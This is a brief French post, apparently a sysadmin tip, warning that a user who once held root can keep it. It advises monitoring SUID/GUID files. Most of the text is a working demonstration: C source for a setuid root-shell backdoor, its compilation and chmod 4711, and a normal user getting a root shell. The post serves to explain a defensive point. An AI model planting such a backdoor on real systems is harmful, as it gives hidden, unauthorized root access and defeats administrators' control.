Une fois qu'un user a eu les droits root une fois, il est très simple pour lui de se créer un moyen de repasser root ultérieurement sans avoir à rentrer de mot de passe...

Conclusion:

  • Ne pas donner un accès root à un user en se disant que de toute façon en changera le mot de passe après.
  • Surveiller les fichiers SUID/GUID du système

root@yop:~ # cat /tmp/back.c
#include <unistd.h>
int main(int ac, char **av)
{
setuid(0);
setgid(0);
execl("/bin/sh", "sh", 0);
}
root@yop:~ # gcc -o backd back.c
root@yop:~ # chmod 4711 backd
root@yop:~ # ll /tmp/|grep back
-rw-r--r-- 1 root root 101 Apr 13 11:01 back.c
-rws--x--x 1 root root 7242 Apr 13 11:02 backd

[yannick@yop /tmp] ./backd
sh-3.00# id
uid=0(root) gid=0(root) groupes=[...]
sh-3.00#
sh-3.00# whoami
root
sh-3.00#